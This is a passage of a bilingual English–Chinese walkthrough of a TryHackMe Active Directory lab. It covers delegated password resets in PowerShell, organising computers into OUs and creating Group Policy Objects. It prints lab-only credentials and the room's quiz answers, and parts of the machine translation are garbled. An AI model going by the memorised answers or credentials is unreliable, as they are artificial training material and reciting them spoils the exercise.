&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When connecting via &lt;u&gt;RDP&lt;/u&gt;, use &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\phillip&lt;/strong&gt; as the username to specify you want to log in using the user &lt;strong&gt;phillip&lt;/strong&gt; on the &lt;strong&gt;THM&lt;/strong&gt; domain.&lt;br&gt;注意：通过 RDP 连接时，请使用 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\phillip&lt;/strong&gt; 用户名来指定要使用 &lt;strong&gt;THM&lt;/strong&gt; 域上的用户 &lt;strong&gt;phillip&lt;/strong&gt; 登录。&lt;/p&gt;
&lt;p&gt;While you may be tempted to go to &lt;strong&gt;Active Directory Users and Computers&lt;/strong&gt; to try and test Phillip&amp;#39;s new powers, he doesn&amp;#39;t really have the privileges to open it, so you&amp;#39;ll have to use other methods to do password resets. In this case, we will be using Powershell to do so:&lt;br&gt;虽然您可能很想去 Active Directory 用户和计算机尝试测试 Phillip 的新能力，但他实际上没有打开它的权限，因此您必须使用其他方法来进行密码重置。在这种情况下，我们将使用 Powershell 来执行以下操作：&lt;/p&gt;
&lt;p&gt;Windows 窗户&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;(As Phillip) （饰演菲利普）&lt;/p&gt;
&lt;p&gt;Since we wouldn&amp;#39;t want Sophie to keep on using a password we know, we can also force a password reset at the next logon with the following command:&lt;br&gt;由于我们不希望 Sophie 继续使用我们知道的密码，因此我们还可以使用以下命令在下次登录时强制重置密码：&lt;/p&gt;
&lt;p&gt;Windows 窗户&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;(as Phillip) （饰演 Phillip）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;Log into Sophie&amp;#39;s account with your new password and retrieve a flag from Sophie&amp;#39;s desktop.&lt;br&gt;使用您的新密码登录 Sophie 的帐户，然后从 Sophie 的桌面上检索一个标志。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When connecting via &lt;u&gt;RDP&lt;/u&gt;, use &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\sophie&lt;/strong&gt; as the username to specify you want to log in using the user &lt;strong&gt;sophie&lt;/strong&gt; on the &lt;strong&gt;THM&lt;/strong&gt; domain.&lt;br&gt;注意：通过 RDP 连接时，请使用 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\sophie&lt;/strong&gt; 用户名来指定要使用 &lt;strong&gt;THM&lt;/strong&gt; 域上的用户 &lt;strong&gt;sophie&lt;/strong&gt; 登录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\phillip&amp;gt; Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt &amp;#39;New Password&amp;#39;) -Verbose

New Password: *********

VERBOSE: Performing the operation &amp;quot;Set-ADAccountPassword&amp;quot; on target &amp;quot;CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\Users\phillip&amp;gt; Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation &amp;quot;Set&amp;quot; on target &amp;quot;CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;先在THM\Administrator账户下打开“Active Directory 用户和计算机”管理界面，删除多余的OU，再对phillip用户授予重置销售部门任何用户密码的权限，然后登录THM\phillip账户，使用powershell重置销售部门用户sophie的登录密码，最后使用新密码登录THM\sophie账户，查看flag文件。&lt;/p&gt;
&lt;p&gt;远程连接（在此页面输入Tryhackme提供的域ip即可，点击连接之后 会自动跳转到域成员的登录界面）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;重置THM\sophie用户密码的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt &amp;#39;New Password&amp;#39;) -Verbose

#输入密码：qwert123456* （新密码要符合密码长度和复杂度）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;登录THM\sophie账户，查看flag文件内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Managing Computers in AD&lt;/h1&gt;
&lt;p&gt;By default, all the machines that join a domain (except for the DCs) will be put in the container called &amp;quot;Computers&amp;quot;. If we check our &lt;u&gt;DC&lt;/u&gt;, we will see that some devices are already there:&lt;br&gt;默认情况下，加入域的所有计算机（DC 除外）都将放在名为“计算机”的容器中。如果我们检查我们的 DC，我们会看到一些设备已经存在：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can see some servers, some laptops and some PCs corresponding to the users in our network. Having all of our devices there is not the best idea since it&amp;#39;s very likely that you want different policies for your servers and the machines that regular users use on a daily basis.&lt;br&gt;我们可以看到一些服务器，一些笔记本电脑和一些PC与我们网络中的用户相对应。拥有我们所有的设备并不是最好的主意，因为您很可能希望为您的服务器和普通用户每天使用的机器使用不同的策略。&lt;/p&gt;
&lt;p&gt;While there is no golden rule on how to organise your machines, an excellent starting point is segregating devices according to their use. In general, you&amp;#39;d expect to see devices divided into at least the three following categories:&lt;br&gt;虽然没有关于如何组织机器的黄金法则，但一个很好的起点是根据设备的使用情况隔离设备。通常，您希望看到设备至少分为以下三类：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Workstations&lt;/strong&gt;** **&lt;strong&gt;1. 工作站&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Workstations are one of the most common devices within an Active Directory domain. Each user in the domain will likely be logging into a workstation. This is the device they will use to do their work or normal browsing activities. These devices should never have a privileged user signed into them.&lt;br&gt;工作站是 Active Directory 域中最常见的设备之一。域中的每个用户都可能登录到工作站。这是他们将用于完成工作或正常浏览活动的设备。这些设备不应有特权用户登录。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Servers&lt;/strong&gt;** **&lt;strong&gt;2. 服务器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Servers are the second most common device within an Active Directory domain. Servers are generally used to provide services to users or other servers.&lt;br&gt;服务器是 Active Directory 域中第二常见的设备。服务器通常用于向用户或其他服务器提供服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Domain Controllers&lt;/strong&gt;** **&lt;strong&gt;3. 域控制器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Domain Controllers are the third most common device within an Active Directory domain. Domain Controllers allow you to manage the Active Directory Domain. These devices are often deemed the most sensitive devices within the network as they contain hashed passwords for all user accounts within the environment.&lt;br&gt;域控制器是 Active Directory 域中第三常见的设备。域控制器允许您管理 Active Directory 域。这些设备通常被认为是网络中最敏感的设备，因为它们包含环境中所有用户帐户的哈希密码。&lt;/p&gt;
&lt;p&gt;Since we are tidying up our AD, let&amp;#39;s create two separate OUs for &lt;strong&gt;Workstations&lt;/strong&gt; and &lt;strong&gt;Servers&lt;/strong&gt; (Domain Controllers are already in an &lt;u&gt;OU&lt;/u&gt; created by Windows). We will be creating them directly under the &lt;strong&gt;thm.local&lt;/strong&gt; domain container. In the end, you should have the following &lt;u&gt;OU&lt;/u&gt; structure:&lt;br&gt;由于我们正在整理 AD，因此让我们为 &lt;strong&gt;Workstations&lt;/strong&gt; 和 &lt;strong&gt;Servers&lt;/strong&gt; 创建两个单独的 OU（域控制器已位于 Windows 创建的 OU 中）。我们将直接在 &lt;strong&gt;thm.local&lt;/strong&gt; 域容器下创建它们。最后，您应该具有以下 OU 结构：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, move the personal computers and laptops to the Workstations &lt;u&gt;OU&lt;/u&gt; and the servers to the Servers &lt;u&gt;OU&lt;/u&gt; from the Computers container. Doing so will allow us to configure policies for each &lt;u&gt;OU&lt;/u&gt; later.&lt;br&gt;现在，将个人计算机和便携式计算机从“计算机”容器移动到“工作站 OU”，将服务器移动到“服务器 OU”。这样做将允许我们稍后为每个 OU 配置策略。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;After organising the available computers, how many ended up in the Workstations OU?&lt;br&gt;在组织了可用的计算机后，有多少计算机最终进入了工作站 OU？&lt;/p&gt;
&lt;p&gt;7&lt;/p&gt;
&lt;p&gt;Is it recommendable to create separate OUs for Servers and Workstations? (yay/nay)&lt;/p&gt;
&lt;p&gt;是否建议为服务器和工作站创建单独的 OU？（是/不是）&lt;/p&gt;
&lt;p&gt;yay&lt;/p&gt;
&lt;h1&gt;Group Policies&lt;/h1&gt;
&lt;p&gt;So far, we have organised users and computers in OUs just for the sake of it, but the main idea behind this is to be able to deploy different policies for each &lt;u&gt;OU&lt;/u&gt; individually. That way, we can push different configurations and security baselines to users depending on their department.&lt;br&gt;到目前为止，我们只是为了在 OU 中组织用户和计算机，但这背后的主要思想是能够为每个 OU 单独部署不同的策略。这样，我们就可以根据用户所在的部门向用户推送不同的配置和安全基线。&lt;/p&gt;
&lt;p&gt;Windows manages such policies through &lt;strong&gt;Group Policy Objects (&lt;strong&gt;&lt;strong&gt;&lt;u&gt;GPO&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;. GPOs are simply a collection of settings that can be applied to OUs. GPOs can contain policies aimed at either users or computers, allowing you to set a baseline on specific machines and identities.&lt;br&gt;Windows 通过组策略对象 （GPO） 管理此类策略。GPO 只是可应用于 OU 的设置的集合。GPO 可以包含针对用户或计算机的策略，允许您在特定计算机和标识上设置基线。&lt;/p&gt;
&lt;p&gt;To configure GPOs, you can use the &lt;strong&gt;Group Policy Management&lt;/strong&gt; tool, available from the start menu:&lt;br&gt;若要配置 GPO，可以使用“开始”菜单中的组策略管理工具：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The first thing you will see when opening it is your complete &lt;u&gt;OU&lt;/u&gt; hierarchy, as defined before. To configure Group Policies, you first create a &lt;u&gt;GPO&lt;/u&gt; under &lt;strong&gt;Group Policy Objects&lt;/strong&gt; and then link it to the &lt;u&gt;OU&lt;/u&gt; where you want the policies to apply. As an example, you can see there are some already existing GPOs in your machine:&lt;br&gt;打开它时，首先看到的是完整的 OU 层次结构，如前所述。若要配置组策略，请先在“组策略对象”下创建一个 GPO，然后将其链接到要应用策略的 OU。例如，您可以看到计算机中已经存在一些 GPO：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-13.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;We can see in the image above that 3 GPOs have been created. From those, the &lt;strong&gt;Default Domain Policy&lt;/strong&gt; and &lt;strong&gt;&lt;u&gt;RDP&lt;/u&gt;&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;Policy&lt;/strong&gt; are linked to the &lt;strong&gt;thm.local&lt;/strong&gt; domain as a whole, and the &lt;strong&gt;Default Domain Controllers Policy&lt;/strong&gt; is linked to the &lt;strong&gt;Domain Controllers&lt;/strong&gt; &lt;u&gt;OU&lt;/u&gt; only. Something important to have in mind is that any GPO will apply to the linked &lt;u&gt;OU&lt;/u&gt; and any sub-OUs under it. For example, the &lt;strong&gt;Sales&lt;/strong&gt; &lt;u&gt;OU&lt;/u&gt; will still be affected by the &lt;strong&gt;Default Domain Policy&lt;/strong&gt;.&lt;br&gt;在上图中，我们可以看到已经创建了 3 个 GPO。从这些中， &lt;strong&gt;Default Domain Policy&lt;/strong&gt; 和 &lt;strong&gt;&lt;u&gt;RDP&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; **&lt;strong&gt;Policy&lt;/strong&gt; 链接到整个 &lt;strong&gt;thm.local&lt;/strong&gt; 域， &lt;strong&gt;Default Domain Controllers Policy&lt;/strong&gt; 而 仅链接到 &lt;strong&gt;Domain Controllers&lt;/strong&gt; OU。需要记住的重要一点是，任何 GPO 都将应用于链接的 OU 及其下的任何子 OU。例如， &lt;strong&gt;Sales&lt;/strong&gt; OU 仍将受到 &lt;strong&gt;Default Domain Policy&lt;/strong&gt; 的影响。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s examine the &lt;strong&gt;Default Domain Policy&lt;/strong&gt; to see what&amp;#39;s inside a GPO. The first tab you&amp;#39;ll see when selecting a &lt;u&gt;GPO&lt;/u&gt; shows its &lt;strong&gt;scope&lt;/strong&gt;, which is where the GPO is linked in the &lt;u&gt;AD&lt;/u&gt;. For the current policy, we can see that it has only been linked to the &lt;strong&gt;thm.local&lt;/strong&gt; domain:&lt;br&gt;让我们检查 &lt;strong&gt;Default Domain Policy&lt;/strong&gt; 一下 GPO 内部的内容。选择 GPO 时，您将看到的第一个选项卡显示其范围，这是 GPO 在 AD 中链接的位置。对于当前策略，我们可以看到它仅链接到 &lt;strong&gt;thm.local&lt;/strong&gt; 域：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-14.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;As you can see, you can also apply &lt;strong&gt;Security Filtering&lt;/strong&gt; to GPOs so that they are only applied to specific users/computers under an &lt;u&gt;OU&lt;/u&gt;. By default, they will apply to the &lt;strong&gt;Authenticated Users&lt;/strong&gt; group, which includes all users/PCs.&lt;br&gt;如您所见，还可以将安全筛选应用于 GPO，以便它们仅应用于 OU 下的特定用户/计算机。默认情况下，它们将应用于“经过身份验证的用户”组，其中包括所有用户/电脑。&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Settings&lt;/strong&gt; tab includes the actual contents of the &lt;u&gt;GPO&lt;/u&gt; and lets us know what specific configurations it applies. As stated before, each &lt;u&gt;GPO&lt;/u&gt; has configurations that apply to computers only and configurations that apply to users only. In this case, the &lt;strong&gt;Default Domain Policy&lt;/strong&gt; only contains Computer Configurations:&lt;br&gt;“设置”选项卡包括 GPO 的实际内容，并让我们知道它应用了哪些特定配置。如前所述，每个 GPO 都具有仅适用于计算机的配置和仅适用于用户的配置。在这种情况下， &lt;strong&gt;Default Domain Policy&lt;/strong&gt; 仅包含计算机配置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-15.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Feel free to explore the GPO and expand on the available items using the &amp;quot;show&amp;quot; links on the right side of each configuration. In this case, the &lt;strong&gt;Default Domain Policy&lt;/strong&gt; indicates really basic configurations that should apply to most domains, including password and account lockout policies:&lt;br&gt;随意浏览 GPO 并使用每个配置右侧的“显示”链接扩展可用项目。在这种情况下，表示 &lt;strong&gt;Default Domain Policy&lt;/strong&gt; 应适用于大多数域的真正基本配置，包括密码和帐户锁定策略：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Since this GPO applies to the whole domain, any change to it would affect all computers. Let&amp;#39;s change the minimum password length policy to require users to have at least 10 characters in their passwords. To do this, right-click the &lt;u&gt;GPO&lt;/u&gt; and select &lt;strong&gt;Edit&lt;/strong&gt;:&lt;br&gt;由于此 GPO 适用于整个域，因此对它的任何更改都会影响所有计算机。让我们更改最小密码长度策略，要求用户的密码中至少有 10 个字符。为此，请右键单击 GPO 并选择“编辑”：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-17.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;This will open a new window where we can navigate and edit all the available configurations. To change the minimum password length, go to &lt;strong&gt;Computer Configurations -&amp;gt; Policies -&amp;gt; Windows Setting -&amp;gt; Security Settings -&amp;gt; Account Policies -&amp;gt; Password Policy&lt;/strong&gt; and change the required policy value:&lt;br&gt;这将打开一个新窗口，我们可以在其中导航和编辑所有可用的配置。若要更改最小密码长度，请 &lt;strong&gt;Computer Configurations -&amp;gt; Policies -&amp;gt; Windows Setting -&amp;gt; Security Settings -&amp;gt; Account Policies -&amp;gt; Password Policy&lt;/strong&gt; 转到并更改所需的策略值：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-18.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;As you can see, plenty of policies can be established in a &lt;u&gt;GPO&lt;/u&gt;. While explaining every single of them would be impossible in a single room, do feel free to explore a bit, as some of the policies are straightforward. If more information on any of the policies is needed, you can double-click them and read the &lt;strong&gt;Explain&lt;/strong&gt; tab on each of them:&lt;br&gt;如您所见，可以在 GPO 中建立大量策略。虽然在一个房间里解释每一个是不可能的，但请随意探索一下，因为有些政策很简单。如果需要有关任何策略的详细信息，可以双击它们并阅读每个策略上的“解释”选项卡：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-19.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;u&gt;GPO&lt;/u&gt; distribution GPO 分发&lt;/p&gt;
&lt;p&gt;GPOs are distributed to the network via a network share called &lt;strong&gt;SYSVOL&lt;/strong&gt;, which is stored in the &lt;u&gt;DC&lt;/u&gt;. All users in a domain should typically have access to this share over the network to sync their GPOs periodically. The SYSVOL share points by default to the *&lt;em&gt;C:\Windows\SYSVOL\sysvol*&lt;/em&gt; directory on each of the DCs in our network.&lt;br&gt;GPO 通过存储在 DC 中的名为 &lt;strong&gt;SYSVOL&lt;/strong&gt; 的网络共享分发到网络。域中的所有用户通常都应有权通过网络访问此共享，以定期同步其 GPO。默认情况下，SYSVOL 共享指向我们网络中每个 DC 上的 *&lt;em&gt;C:\Windows\SYSVOL\sysvol*&lt;/em&gt; 目录。&lt;/p&gt;
&lt;p&gt;Once a change has been made to any GPOs, it might take up to 2 hours for computers to catch up. If you want to force any particular computer to sync its GPOs immediately, you can always run the following command on the desired computer:&lt;br&gt;对任何 GPO 进行更改后，计算机最多可能需要 2 小时才能跟上进度。如果要强制任何特定计算机立即同步其 GPO，则始终可以在所需的计算机上运行以下命令：&lt;/p&gt;
&lt;p&gt;Windows 窗户&lt;u&gt;PowerShell&lt;/u&gt;&lt;u&gt; &lt;/u&gt;&lt;u&gt;PowerShell的&lt;/u&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;PS C:\&amp;gt; gpupdate /force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Creating some GPOs for &lt;u&gt;THM&lt;/u&gt; Inc.&lt;br&gt;为 THM Inc. 创建一些 GPO。&lt;/p&gt;
&lt;p&gt;As part of our new job, we have been tasked with implementing some GPOs to allow us to:&lt;br&gt;作为我们新工作的一部分，我们的任务是实施一些 GPO，以便我们能够：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Block non-IT users from accessing the Control Panel.&lt;br&gt;阻止非 IT 用户访问控制面板。&lt;/li&gt;
&lt;li&gt;Make workstations and servers lock their screen automatically after 5 minutes of user inactivity to avoid people leaving their sessions exposed.&lt;br&gt;使工作站和服务器在用户不活动 5 分钟后自动锁定屏幕，以避免用户在会话中暴露。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&amp;#39;s focus on each of those and define what policies we should enable in each &lt;u&gt;GPO&lt;/u&gt; and where they should be linked.&lt;br&gt;让我们重点关注其中的每一个，并定义我们应该在每个 GPO 中启用哪些策略以及它们应该链接到哪里。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Restrict Access to Control Panel&lt;/strong&gt;&lt;strong&gt;**&lt;br&gt;**&lt;/strong&gt;&lt;strong&gt;限制对控制面板的访问&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We want to restrict access to the Control Panel across all machines to only the users that are part of the IT department. Users of other departments shouldn&amp;#39;t be able to change the system&amp;#39;s preferences.&lt;br&gt;我们希望将对所有计算机上的控制面板的访问限制为仅属于 IT 部门的用户。其他部门的用户不应能够更改系统的首选项。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s create a new &lt;u&gt;GPO&lt;/u&gt; called &lt;strong&gt;Restrict Control Panel Access&lt;/strong&gt; and open it for editing. Since we want this &lt;u&gt;GPO&lt;/u&gt; to apply to specific users, we will look under &lt;strong&gt;User Configuration&lt;/strong&gt; for the following policy:&lt;br&gt;让我们创建一个名为 &lt;strong&gt;Restrict Control Panel Access&lt;/strong&gt; 的新 GPO 并打开它进行编辑。由于我们希望此 GPO 适用于特定用户，因此我们将查看 &lt;strong&gt;User Configuration&lt;/strong&gt; 以下策略：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-20.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Notice we have enabled the &lt;strong&gt;Prohibit Access to Control Panel and PC settings&lt;/strong&gt; policy.&lt;br&gt;请注意，我们已启用“禁止访问控制面板和电脑”设置策略。&lt;/p&gt;
&lt;p&gt;Once the GPO is configured, we will need to link it to all of the OUs corresponding to users who shouldn&amp;#39;t have access to the Control Panel of their PCs. In this case, we will link the &lt;strong&gt;Marketing&lt;/strong&gt;, &lt;strong&gt;Management&lt;/strong&gt; and &lt;strong&gt;Sales&lt;/strong&gt; OUs by dragging the &lt;u&gt;GPO&lt;/u&gt; to each of them:&lt;br&gt;配置 GPO 后，我们需要将其链接到与不应访问其电脑控制面板的用户对应的所有 OU。在本例中，我们将通过将 GPO 拖动到每个 和 &lt;strong&gt;Sales&lt;/strong&gt; OU 来链接 &lt;strong&gt;Marketing&lt;/strong&gt; 它们 &lt;strong&gt;Management&lt;/strong&gt; ：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-21.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Auto Lock Screen&lt;/strong&gt;&lt;strong&gt;** **&lt;/strong&gt;&lt;strong&gt;&lt;u&gt;GPO&lt;/u&gt;&lt;/strong&gt;&lt;strong&gt;** **&lt;/strong&gt;&lt;strong&gt;自动锁屏 GPO&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For the first &lt;u&gt;GPO&lt;/u&gt;, regarding screen locking for workstations and servers, we could directly apply it over the &lt;strong&gt;Workstations&lt;/strong&gt;, &lt;strong&gt;Servers&lt;/strong&gt; and &lt;strong&gt;Domain Controllers&lt;/strong&gt; OUs we created previously.&lt;br&gt;对于第一个 GPO，关于工作站和服务器的屏幕锁定，我们可以直接将其应用于我们之前创建的 &lt;strong&gt;Workstations&lt;/strong&gt; 和 &lt;strong&gt;Servers&lt;/strong&gt; &lt;strong&gt;Domain Controllers&lt;/strong&gt; OU。&lt;/p&gt;
&lt;p&gt;While this solution should work, an alternative consists of simply applying the &lt;u&gt;GPO&lt;/u&gt; to the root domain, as we want the &lt;u&gt;GPO&lt;/u&gt; to affect all of our computers. Since the &lt;strong&gt;Workstations&lt;/strong&gt;, &lt;strong&gt;Servers&lt;/strong&gt; and &lt;strong&gt;Domain Controllers&lt;/strong&gt; OUs are all child OUs of the root domain, they will inherit its policies.&lt;br&gt;虽然此解决方案应该有效，但另一种方法是简单地将 GPO 应用于根域，因为我们希望 GPO 影响我们所有的计算机。由于 &lt;strong&gt;Workstations&lt;/strong&gt; 和 &lt;strong&gt;Servers&lt;/strong&gt; &lt;strong&gt;Domain Controllers&lt;/strong&gt; OU 都是根域的子 OU，因此它们将继承其策略。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You might notice that if our &lt;u&gt;GPO&lt;/u&gt; is applied to the root domain, it will also be inherited by other OUs like &lt;strong&gt;Sales&lt;/strong&gt; or &lt;strong&gt;Marketing&lt;/strong&gt;. Since these OUs contain users only, any Computer Configuration in our &lt;u&gt;GPO&lt;/u&gt; will be ignored by them.&lt;br&gt;注意：您可能会注意到，如果我们的 GPO 应用于根域，它也将被其他 OU 继承，例如 &lt;strong&gt;Sales&lt;/strong&gt; &lt;strong&gt;Marketing&lt;/strong&gt; 或 。由于这些 OU 仅包含用户，因此它们将忽略 GPO 中的任何计算机配置。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s create a new &lt;u&gt;GPO&lt;/u&gt;, call it &lt;strong&gt;Auto Lock Screen&lt;/strong&gt;, and edit it. The policy to achieve what we want is located in the following route:&lt;br&gt;让我们创建一个新的 GPO，将其 &lt;strong&gt;Auto Lock Screen&lt;/strong&gt; 命名为 ，然后对其进行编辑。实现我们想要的目标的策略位于以下路线中：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-22.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;We will set the inactivity limit to 5 minutes so that computers get locked automatically if any user leaves their session open. After closing the &lt;u&gt;GPO&lt;/u&gt; editor, we will link the &lt;u&gt;GPO&lt;/u&gt; to the root domain by dragging the &lt;u&gt;GPO&lt;/u&gt; to it:&lt;br&gt;我们会将非活动限制设置为 5 分钟，以便在任何用户将其会话保持打开状态时计算机自动锁定。关闭 GPO 编辑器后，我们将通过将 GPO 拖动到根域来链接 GPO：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once the GPOs have been applied to the correct OUs, we can log in as any users in either Marketing, Sales or Management for verification. For this task, let&amp;#39;s connect via RDP using Mark&amp;#39;s credentials:&lt;br&gt;将 GPO 应用于正确的 OU 后，我们可以在 Marketing、Sales 或 Management 中以任何用户身份登录以进行验证。对于此任务，让我们使用 Mark 的凭据通过 RDP 进行连接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-24.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;** **** **&lt;strong&gt;用户名&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Mark 马克&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;** **** **&lt;strong&gt;密码&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;M4rk3t1ng.21 货号 M4rk3t1ng.21&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When connecting via &lt;u&gt;RDP&lt;/u&gt;, use &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\Mark&lt;/strong&gt; as the username to specify you want to log in using the user &lt;strong&gt;Mark&lt;/strong&gt; on the &lt;strong&gt;THM&lt;/strong&gt; domain.&lt;br&gt;注意：通过 RDP 连接时，请使用 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\Mark&lt;/strong&gt; 用户名来指定要使用 &lt;strong&gt;THM&lt;/strong&gt; 域上的用户 &lt;strong&gt;Mark&lt;/strong&gt; 登录。  &lt;/p&gt;
